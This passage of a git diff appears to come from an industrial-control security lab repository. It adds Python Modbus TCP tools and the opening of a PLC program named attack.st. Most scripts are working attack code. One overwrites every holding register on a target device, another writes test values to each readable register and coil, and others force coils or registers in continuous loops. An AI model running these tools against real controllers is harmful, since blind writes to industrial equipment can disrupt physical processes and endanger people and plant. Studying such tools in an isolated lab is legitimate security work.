hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + 